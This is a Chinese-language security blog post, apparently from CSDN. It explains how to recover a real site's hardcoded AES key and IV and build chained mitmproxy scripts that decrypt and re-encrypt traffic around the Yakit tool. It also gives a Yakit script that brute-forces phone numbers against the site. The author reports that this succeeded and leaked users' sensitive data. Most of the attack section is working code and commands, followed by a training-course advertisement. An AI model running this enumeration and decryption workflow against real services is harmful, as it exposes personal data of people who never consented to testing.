场景
拿到一个站,请求和响应中的数据均经过加密,但是我们想在测试中看到明文数据并可以修改
前两天看到有个师傅的使用双层mitmproxy代理实现自动化加解密的思路,今天来实现一下。
顺便回忆一下该场景下使用 Yakit 热加载进行数据暴力破解。
思路
请求:
设置下游代理捕获浏览器的请求解密–>Yakit -->上游代理代理再把数据加密发送到服务端。
响应:
设置上游代理捕获浏览器的请求解密–>Yakit -->下游代理代理再把数据加密发送到浏览器。
上游代理:离原始服务器更近的代理服务器。
下游代理:离客户端更近的代理服务器。
我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~
请求自动化加解密
通过一个真实的案例来分析一下
某系统
使用手机号进行操作,未注册用户需完善信息。注册过的用户猜测可以直接看到一些敏感信息
现在的思路就是收集手机号,进行爆破。
从数据包可以看出来,对登录的手机号进行了加密。我们到浏览器找一下使用的加密算法
encrypt
通过关键词搜索直接定位到其代码逻辑
分析得到
key:60427a4badf685bd
iv:0c67da205a1f6f57
padding: Pkcs7
我们可以编写编写一个加解密的代码
from Crypto.Cipher import AES
import base64
def aes\_encrypt(plaintext, key, iv):
\# 将明文转换为字节串
plaintext \= plaintext.encode('utf-8')
\# 创建AES加密对象,使用CBC模式
cipher \= AES.new(key, AES.MODE\_CBC, iv)
\# 计算需要填充的字节数
padding\_length \= AES.block\_size \- len(plaintext) % AES.block\_size
\# 进行填充
padding \= bytes(\[padding\_length\] \* padding\_length)
plaintext \= plaintext + padding
\# 进行加密
ciphertext \= cipher.encrypt(plaintext)
\# 将加密结果进行base64编码并返回
return base64.b64encode(ciphertext).decode('utf-8')
def aes\_encrypt2(plaintext):
key \= b'60427a4badf685bd'
iv \= b'0c67da205a1f6f57'
return aes\_encrypt(plaintext, key, iv)
def aes\_decrypt(ciphertext, key, iv):
\# 对密文进行base64解码
ciphertext \= base64.b64decode(ciphertext)
\# 创建AES解密对象
cipher \= AES.new(key, AES.MODE\_CBC, iv)
\# 解密
plaintext \= cipher.decrypt(ciphertext)
\# 去除填充(假设使用PKCS7填充)
padding\_length \= plaintext\[\-1\]
plaintext \= plaintext\[: \-padding\_length\]
return plaintext.decode('utf-8')
def aes\_decrypt2(ciphertext):
\# ciphertext = "FIUVPgUtB4rcKmBgWY7LeNui4nDwImR52FceKRlDzwU0KdTVkTPtpxyfZ1Zt3eCB"
key \= "60427a4badf685bd".encode('utf - 8')
iv \= "0c67da205a1f6f57".encode('utf - 8')
return aes\_decrypt(ciphertext, key, iv)
Mitmproxy代理
请求
下游代理解密
使用下游代理把从浏览器发送过来的加密请求数据进行解密,发送给 Yakit
import json
from mitmproxy.http import HTTPFlow
from decrypt import \*
def request(flow: HTTPFlow):
\# burp下游代理: 把从浏览器发送过来的加密请求数据进行解密,发送给burp
try:
if "/xxx/xxx/xxx" in flow.request.url:
data \= json.loads(flow.request.content.decode())
if data:
encrypt\_text \= data\['data'\]
print("请求加密数据:", encrypt\_text)
\# 解密
decrypt\_text \= aes\_decrypt2(encrypt\_text)
print("请求解密数据:", decrypt\_text)
flow.request.content \= decrypt\_text.encode()
except Exception as e:
pass
启动
mitmdump -q -p 8888 -s .\aes_decrypt.py --mode upstream:http://127.0.0.1:8083/ --ssl-insecure
浏览器代理
此时到 Yakit 的数据包已经是明文了
现在需要解决的问题就是还需把数据在加密返回给服务端,这是就需要在设置一个上游代理来进行加密操作
我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~
上游代理加密
使用上游代理把从 Yakit发送过来的加密请求数据进行加密,发送给服务端
import json
from mitmproxy.http import HTTPFlow
from decrypt import \*
def request(flow: HTTPFlow):
\# burp上游代理: 把从burp发送过来的解密数据重新进行加密,发送给服务端
try:
if "/xxx/xxx/xxx" in flow.request.url:
data \= json.loads(flow.request.content.decode())
if data:
decrypt\_text \= json.dumps(data)
print("请求加密数据:", decrypt\_text)
\# 加密
encrypt\_text \= aes\_encrypt2(str(decrypt\_text))
print("请求加密数据:", encrypt\_text)
temp \= {'data': encrypt\_text}
flow.request.content \= json.dumps(temp, ensure\_ascii\=False).encode()
except Exception as e:
pass
启动
mitmdump -q -p 8989 -s .\aes_encrypt.py
响应
上游代理解密
使用上游代理把从服务端发送过来的加密请求数据进行解密,发送给 Yakit
def response(flow: HTTPFlow):
# burp上游代理: 把从服务端获取到的加密响应数据进行解密,发送给burp
try:
if "/iccm/h5/visitor/" in flow.request.url:
data = json.loads(flow.response.content.decode())
if data:
encrypt_text = data['data']
print("响应解密数据:", encrypt_text)
# 解密
decrypt_text = aes_decrypt2(encrypt_text)
decrypt_text = json.loads(decrypt_text)
# 合并数据
data["data"] = decrypt_text
# 转化为json
decrypt_text = json.dumps(data, ensure_ascii=False)
print("解密数据:", decrypt_text)
flow.response.content = decrypt_text.encode()
except Exception as e:
pass
下游代理加密
使用下游代理把从 Yakit发送过来的加密请求数据进行解密,发送给浏览器
def response(flow: HTTPFlow):
# burp下游代理: 把从burp获取到的解密响应数据重新进行加密,发送给浏览器,使浏览器页面能够渲染数据
try:
if "/iccm/h5/visitor/" in flow.request.url:
data = json.loads(flow.response.content.decode())
if data:
decrypt_text = json.dumps(data)
print("响应加密数据:", decrypt_text)
decrypt_text = data['data']
decrypt_text = json.dumps(decrypt_text)
# 加密
encrypt_text = aes_encrypt2(decrypt_text)
# 合并数据
data["data"] = encrypt_text
encrypt_text = json.dumps(data, ensure_ascii=False)
print("响应加密数据:", encrypt_text)
flow.response.content = encrypt_text.encode()
except Exception as e:
pass
最终效果
经过 yakit 的数据已经变成明文,加密前后对比
解密前
解密后
Yakit 热加载-爆破
如果只是单纯的爆破数据的话,个人感觉使用 Yakit 更为简单。
详细:https://mp.weixin.qq.com/s/x-A-ZWqE8C-HN6k9Y2QBbw
热加载模块中编写代码:
dncryptAesCbc \= func(p) {
key \= "60427a4badf685bd"
iv \= "0c67da205a1f6f57"
resultList \= \[\]
phoneDict \= x"{{payload(phone)}}" // 我们可以使用x前缀字符串来通过fuzztag语法获取phone字典中的值
for phone in phoneDict {
m \= {"verifyCode":"","phone":phone}
jsonInput \= json.dumps(m)
result \= codec.AESCBCEncryptWithPKCS7Padding(key, jsonInput, iv)~
base64Result \= codec.EncodeBase64(result)
r\={"data":base64Result}
resultList.Append(r)
}
return resultList
}
调试
效果
总结
最后也是成功爆破除出了一些可利用手机号,并和刚开始的猜想一样,泄露了一些敏感数据
网络安全学习路线&学习资源
网络安全的知识多而杂,怎么科学合理安排?
下面给大家总结了一套适用于网安零基础的学习路线,应届生和转行人员都适用,学完保底6k!就算你底子差,如果能趁着网安良好的发展势头不断学习,日后跳槽大厂、拿到百万年薪也不是不可能!
初级网工
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)
2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等
3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)
4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现
5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固
6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)
恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k
到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?
7、脚本编程(初级/中级/高级)
在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力.
零基础入门,建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习; 搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP, IDE强烈推荐Sublime; ·Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,不要看完; ·用Python编写漏洞的exp,然后写一个简单的网络爬虫; ·PHP基本语法学习并书写一个简单的博客系统; 熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选); ·了解Bootstrap的布局或者CSS。
8、超级网工
这部分内容对零基础的同学来说还比较遥远,就不展开细说了,贴一个大概的路线。感兴趣的童鞋可以研究一下,不懂得地方可以【点这里】加我耗油,跟我学习交流一下。
网络安全工程师企业级学习路线
如图片过大被平台压缩导致看不清的话,可以【点这里】加我耗油发给你,大家也可以一起学习交流一下。
一些我自己买的、其他平台白嫖不到的视频教程:
需要的话可以扫描下方卡片加我耗油发给你(都是无偿分享的),大家也可以一起学习交流一下。
结语
网络安全产业就像一个江湖,各色人等聚集。相对于欧美国家基础扎实(懂加密、会防护、能挖洞、擅工程)的众多名门正派,我国的人才更多的属于旁门左道(很多白帽子可能会不服气),因此在未来的人才培养和建设上,需要调整结构,鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”,才能解人才之渴,真正的为社会全面互联网化提供安全保障。
特别声明:
此教程为纯技术分享!本书的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本书的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失!!!
标签:实战,加密,text,decrypt,加解密,解密,黑客技术,encrypt,data From: https://blog.csdn.net/wangluo12138/article/details/145116744